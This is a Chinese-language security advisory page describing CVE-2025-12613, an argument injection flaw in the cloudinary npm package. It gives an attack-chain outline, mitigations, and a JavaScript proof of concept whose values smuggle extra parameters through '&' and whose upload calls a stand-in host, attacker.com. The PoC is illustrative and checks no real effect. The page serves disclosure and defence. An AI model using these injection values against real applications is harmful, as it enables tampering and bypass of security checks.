IPBUF安全漏洞报告
English
CVE-2025-12613 CVSS 8.6 高危

CVE-2025-12613: Cloudinary npm包任意参数注入漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-12613
漏洞类型
任意参数注入
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
cloudinary npm package(版本 < 2.7.0)

相关标签

任意参数注入cloudinarynpm参数解析URL注入JavaScriptCVE-2025-12613高危漏洞

漏洞概述

CVE-2025-12613是存在于cloudinary npm包中的一个高危安全漏洞,该漏洞允许攻击者通过构造特殊的参数值来注入额外的未预期参数。漏洞的根本原因在于cloudinary对包含&符号的参数值解析不当,攻击者可以利用这一缺陷在参数中注入额外的键值对,从而绕过安全检查、篡改数据或操纵应用程序的行为。该漏洞的CVSS评分为8.6,属于高危级别,攻击复杂度低且无需认证即可利用。攻击者可以通过网络远程利用此漏洞,在无需用户交互的情况下实现攻击。机密性影响为低,但完整性影响为高,可用性影响为低。此漏洞由Snyk安全团队于2025年11月10日发现并报告,漏洞发现者的联系方式为[email protected]。由于该漏洞影响范围广泛,攻击利用简单,建议受影响的用户尽快升级到修复版本或采取临时缓解措施。

技术细节

该漏洞是由于cloudinary npm包在处理URL参数时,对包含&符号的参数值没有进行正确的转义或验证导致的。在正常的参数解析中,&符号用于分隔多个参数对,但当&符号出现在参数值内部时(如在base64编码的URL中),解析器会错误地将其识别为参数分隔符,从而将参数值截断并尝试解析后续内容为新的参数。攻击者可以利用这一特性,在看似正常的参数值中嵌入&符号,后面跟随恶意的参数名和参数值,从而实现任意参数注入。例如,当应用程序使用用户提供的参数构建cloudinary URL时,攻击者可以在参数值中注入&extra_param=malicious_value,使得cloudinary在处理时将extra_param作为一个独立的参数进行解析和处理。这种参数注入可能导致多种安全后果,包括绕过安全检查(如签名验证)、修改图像转换参数、覆盖默认配置等。修复方案需要对参数值中的&符号进行URL编码或对整个参数值进行严格的验证和转义处理。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用程序,发现其使用了存在漏洞的cloudinary npm包(版本 < 2.7.0)
STEP 2
步骤2
攻击者分析应用程序如何使用cloudinary API,特别是参数传递和URL构建的过程
STEP 3
步骤3
攻击者构造恶意输入,在包含&符号的参数值中注入额外的未预期参数,如在transformation参数中注入&c_override
STEP 4
步骤4
应用程序将恶意参数传递给cloudinary服务,由于解析不当,&后的内容被当作新的参数处理
STEP 5
步骤5
注入的参数生效,导致安全检查被绕过、图像转换参数被修改或配置被覆盖等恶意后果
STEP 6
步骤6
攻击者利用漏洞实现数据篡改、安全绕过或应用程序行为操纵等攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-12613 PoC - Arbitrary Argument Injection in Cloudinary // This PoC demonstrates how an attacker can inject additional parameters // by including an ampersand (&) in parameter values const cloudinary = require('cloudinary').v2; // Malicious configuration with injected parameter // The '&width=999' will be parsed as a separate parameter const maliciousConfig = { transformation: 'w_100&width=999&c_override', // Alternatively, the vulnerability can be triggered via upload parameters public_id: 'test&admin=true' }; // Attack scenario 1: Image transformation parameter injection cloudinary.url('test.jpg', { transformation: [ { width: 100, crop: 'scale' }, { overlay: 'logo&gravity=center' } // Injected parameter ] }); // Attack scenario 2: Upload parameter injection cloudinary.uploader.upload('https://attacker.com/malicious.jpg', { public_id: 'user_upload&mode=overwrite', folder: 'public&transformation=fl_ignore_aspect_ratio' }, function(error, result) { if (error) console.error('Upload error:', error); console.log('Upload result:', result); }); // Attack scenario 3: Signed URL manipulation // If an attacker knows a signed URL, they can inject parameters // Original: https://res.cloudinary.com/demo/image/upload/w_300/samples/bird.jpg // Malicious: https://res.cloudinary.com/demo/image/upload/w_300&h_999/samples/bird.jpg // The &h_999 will be interpreted as an additional height parameter // Defense: Always sanitize and validate parameter values before use // Implement proper URL encoding and parameter validation console.log('PoC demonstrates parameter injection vulnerability');

影响范围

cloudinary npm package < 2.7.0

防御指南

临时缓解措施
在无法立即升级的情况下,可以采取以下临时缓解措施:首先,对所有传递给cloudinary API的参数进行严格的输入验证,过滤或拒绝包含未转义&符号的值;其次,对参数值进行URL编码处理,确保特殊字符被正确转义;再次,限制用户可以控制的参数范围,使用白名单机制;最后,监控和记录所有cloudinary API调用日志,及时发现异常请求模式。建议在完成修复后进行全面的安全测试,确保漏洞已被完全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表